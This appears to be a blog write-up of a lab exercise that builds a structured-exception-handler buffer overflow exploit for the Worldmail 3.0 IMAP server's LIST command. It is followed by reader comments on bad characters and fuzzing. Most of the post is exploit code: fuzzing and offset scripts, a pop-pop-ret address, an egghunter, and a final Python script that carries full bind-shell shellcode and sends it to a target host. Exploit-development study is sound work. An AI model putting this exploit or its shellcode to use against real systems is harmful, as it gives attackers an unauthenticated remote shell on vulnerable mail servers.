Worldmail IMAPD 3.0 SEH LIST Buffer Overflow

After writing my buffer overflow that required an egghunter payload to search for the actual payload containing the code to be executed on the victim buffer overflow, BisonFTP Server v3.5 MKD Buffer Overflow Exploit, I wanted to write more buffer overflow exploits which required the use of a egghunter payload, I quickly learnt about the application Worldmail 3.0 which reportedly had a SEH (structured Exception Handler) buffer overflow vulnerability in the IMAP server which required the use of an egghunter payload.

The vulnerability in the IMAPd service of Worldmail 3.0 is reportedly caused when the server receives the command LIST along with a series of “}”, the first part of writing the buffer overflow was to fuzz the IMAPd service to cause the buffer overflow. To do the fuzzing process I took the ftp-fuzz python script I’ve used in my previous FTP application buffer overflows I had done and modified it to be able to fuzz an IMAPD application.

Before modifying the script I had to learn about how a host connects to the an IMAP server, I found an example this in RFC 3501 in section 8, from this example I determined that after I connect to the IMAP server I then send “a001 login” as the first message, but as this vulnerability does not require authentication I decided to attempt “a001 LIST” as the first message to the IMAP server after connecting as well as the buffer. During the fuzzing process I attached a debugger to the application and found that around 1500 bytes the overflow would occur. Taking this information I began writing the exploit would be able to exploit the vulnerability and allow arbitrary code execution on the victim machine, I wrote a python script which would replicate the buffer overflow that was found during the fuzzing process.

#!/bin/python
import sys
import socket

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
buffer = "}" * 1500

s.connect(("192.168.3.215",143))
data = s.recv(1024)
s.send("a001 LIST " + buffer + "\r\n")
s.close()
initial worldmail imap crash

Initial buffer overflow in the Worldmail 3.0 IMAP service.

initial worldmail imap crash-seh

State of SEH chain during the initial buffer overflow in the Worldmail 3.0 IMAP service.

Now that i’ve been able to recreate the buffer overflow I need to determine the locations in the buffer that overwrite the registers, using patter_create.rb to create a unique 1500 string which would allow me to determine the locations, I replaced the original buffer with this string and executed the script causing the application to crash.

pattern_create worldmail imap crash

pattern_create.rb buffer overflow in the Worldmail 3.0 IMAP service.

pattern_create worldmail imap crash-seh

State of SEH chain during the pattern_create.rb buffer overflow in the Worldmail 3.0 IMAP service.

Looking at the SEH chain at the time of the crash I see that the first handler address, (01BDFFA4), contains the value “41387A41” and the second entry contains the value “377A4136”, using pattern_offset.rb I was able to find these two locations in my new buffer.

  • 41387a41 = 774
  • 377a4136 = 770

The next part of writing this exploit is finding a “pop pop ret” which will allow me to work with the exception handler to get code execution on the target machine. Using a python plugin for Immunity Debugger called mona.py I was able to identify all the SEH loaded after restarting the service.

0x60020000 | 0x60082000 | 0x00062000 | False  | False   | False |  False   | False  | 6.1.19 [MFldrMgr.dll] (C:\Program Files\Qualcomm\Worldmail3\MFldrMgr.dll)

Address    Message
60060A37 0x60060a37 : pop ebp # pop ebx # ret 0x04 | ascii {PAGE_EXECUTE_READ} [MFldrMgr.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v6.1.19 (C:\Program Files\Qualcomm\Worldmail3\MFldrMgr.dll)

I chose the above pop pop ret because it is inside a .dll file used by the application, which means this exploit is not dependent on what version of Operating System it is installed on. I began to re-modify my exploit script to include the new information.

#!/usr/bin/python
import sys
import socket

s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# buffer = "}" * 1500 # Initial buffer sent to application.
# buffer = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9" + "}"

nseh = "\xeb\x06\x90\x90" # JMP SHORT of 6, jumps over seh into the shellcode.
seh = "\x37\x0a\x06\x60" # Memory location of pop ebp pop ebx ret 0x04 - MFldrMgr.dll

buffer = "\x41"*770
buffer += nseh
buffer += seh
buffer += "\xcc"*40
buffer += "\x42"*(1500-len(buffer))
buffer += "}"

s.connect(("192.168.3.215", 143))
data=s.recv(1024)
s.send("a001 LIST " + buffer + "\r\n")
s.close()

The object “nseh” is to perform a short jump of 6 bytes over seh (4 bytes that make seh and 2 more to encount for the rest of nseh) which will allow me to get to the shellcode I want to be executed, two useful links that I used to help me work this part out are here link1 link2.

stage 3 worldmail imap crash-seh

State of SEH chain during the third phase buffer overflow in the Worldmail 3.0 IMAP service.

stage 3 worldmail imap crash

stage 3 buffer overflow in the Worldmail 3.0 IMAP service.

Stepping through the exception caught by the application I was able to hit the breakpoints which were contained within the exploit script ‘\xcc’ and now have control of the EIP register. Looking at the application in the debugger after hitting the breakpoint I identified that I have about 80 bytes for shellcode, which isn’t enough for most payloads but is enough for the egghunter payload I used in the Bison FTP exploit. Using the egghunter I can place shellcode for the payload I want to execute on the target machine earlier in the buffer, in the 770 bytes before hitting the SEH of the application and tag the shellcode with the tag that the egghunter will be looking for, the egghunter will be executed after stepping around the exception.

#!/usr/bin/python
import sys
import socket

s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# buffer = "}" * 1500 # Initial buffer sent to application.
# buffer = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9" + "}" # buffer to find bytes that overwrite registers.

nseh = "\xeb\x06\x90\x90" # JMP SHORT of 6, jumps over seh into the shellcode.
seh = "\x37\x0a\x06\x60" # Memory location of pop ebp pop ebx ret 0x04 - MFldrMgr.dll

egghunter = ("\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74\xef\xb8\x77\x30\x30\x74\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7")

shellcode = ("w00tw00t" + "\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
"\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2"
"\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85"
"\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3"
"\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d"
"\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58"
"\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b"
"\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff"
"\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\x68\x33\x32\x00\x00\x68"
"\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8\x90\x01"
"\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00\xff\xd5\x50\x50"
"\x50\x50\x40\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x89\xc7"
"\x31\xdb\x53\x68\x02\x00\x11\x5c\x89\xe6\x6a\x10\x56\x57\x68"
"\xc2\xdb\x37\x67\xff\xd5\x53\x57\x68\xb7\xe9\x38\xff\xff\xd5"
"\x53\x53\x57\x68\x74\xec\x3b\xe1\xff\xd5\x57\x89\xc7\x68\x75"
"\x6e\x4d\x61\xff\xd5\x68\x63\x6d\x64\x00\x89\xe3\x57\x57\x57"
"\x31\xf6\x6a\x12\x59\x56\xe2\xfd\x66\xc7\x44\x24\x3c\x01\x01"
"\x8d\x44\x24\x10\xc6\x00\x44\x54\x50\x56\x56\x56\x46\x56\x4e"
"\x56\x56\x53\x56\x68\x79\xcc\x3f\x86\xff\xd5\x89\xe0\x4e\x56"
"\x46\xff\x30\x68\x08\x87\x1d\x60\xff\xd5\xbb\xf0\xb5\xa2\x56"
"\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0\x75"
"\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5")

buffer = shellcode + "\x90"*(770-len(shellcode))
buffer += nseh
buffer += seh
buffer += "\x90"*8
buffer += egghunter + "\x90"*(80-len(egghunter))
buffer += "}"*(1500-len(buffer))

s.connect(("192.168.3.215", 143))
data=s.recv(1024)
s.send("a001 LIST " + buffer + "\r\n")
s.close()

The above is the final exploit code for the application, when launched against the target machine, the code jumped over the SEH and the egghunter executed finding the bindshell shellcode which was entered at the start of the buffer.

worldmail_bindshell

Screenshot of the python exploit script which exploits the SEH buffer overflow in the Worldmail 3.0 IMAP server being launched against the target machine and creating a bindshell on the target.

Advertisements

11 comments

  1. Hi,
    I was not able to exploit the overflow using the 1500 unique bytes generated by pattern_create.rb script. It seems like it only takes ‘}’ 1500 characters to cause an overflow. This unique character causes programs to crash, therefore it won’t crash if we take “A”*1500 or 1500 unique characters. How did u do it?

    1. Hi, I left this part out of my blogpost but I put the 1500 byte string that I got from pattern_create.rb into my buffer and then after my string I added a single ‘}’.

      So my buffer looked like this “buffer = ‘pattern_create_string’ + ‘}'”

  2. Thanks for the reply. i successfully sent the exploit with 1500 unique bytes. The other problem i am facing is not seeing 377a4136 in the seh window but only 41387a41 as the handler address. so i am seeing the first line but not the second. Any thoughts?

    1. I couldn’t remember what bad characters I excluded from my shellcode, but I had a quick look at the metasploit module for this vulnerability and the module excludes the following “\x00\x0a\x0d\x20\x7b”

  3. Your shellcode has “\x00,\x0a,\x0d”. I can successfully exploit using your shellcode however if i generate a shellcode from metasploit and avoid known bad characters, it breaks my exploit and i am unable to overwrite EIP. Strange.

  4. Great post!

    My question is related to fuzzing.
    In this particular case, to find the bug we had to fuzz with a very specific character ‘}’ in order to crash the program. How would you go about guessing that?

    I have done quite a few BO exercises and always end up coding a python fuzzer which send a large buffer of ‘A’s. I would never have guessed this special character. Any tips on how to fuzz a bit better? Should I be fuzzing with buffer of random chars or protocol-specific special chars?

    Once again, nice post.

    1. I hope you might have got the answer, I am also struggling how to fuzz an application.

      I used all the fuzzers available in backtrack and couple of other’s to crash the wmail server, but crash will happen only with ” } “.

      as per the RFC there was nothing like “a001 LIST” command, could you please explain how you got the idea to use it.

      waiting for the early response.

      Thanks in Advance.

      –Regards,
      Mahendra

      1. “A001” is used to login to the IMAP server. But since no user account has been created we use the a001 without the login command to be able to use the list command before authentication.

        Example of normal use:
        a001 login imapd imapd

        The answer to both you and st3r30byt3 question’s about the “}” character, the reason why the “}” was used at the end of our buffer is to end the string. For more information on this, read the RFC3501 section 4.3 (strings). http://tools.ietf.org/html/rfc3501

        P.S. sorry st3r30byt3 for the late reply.

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s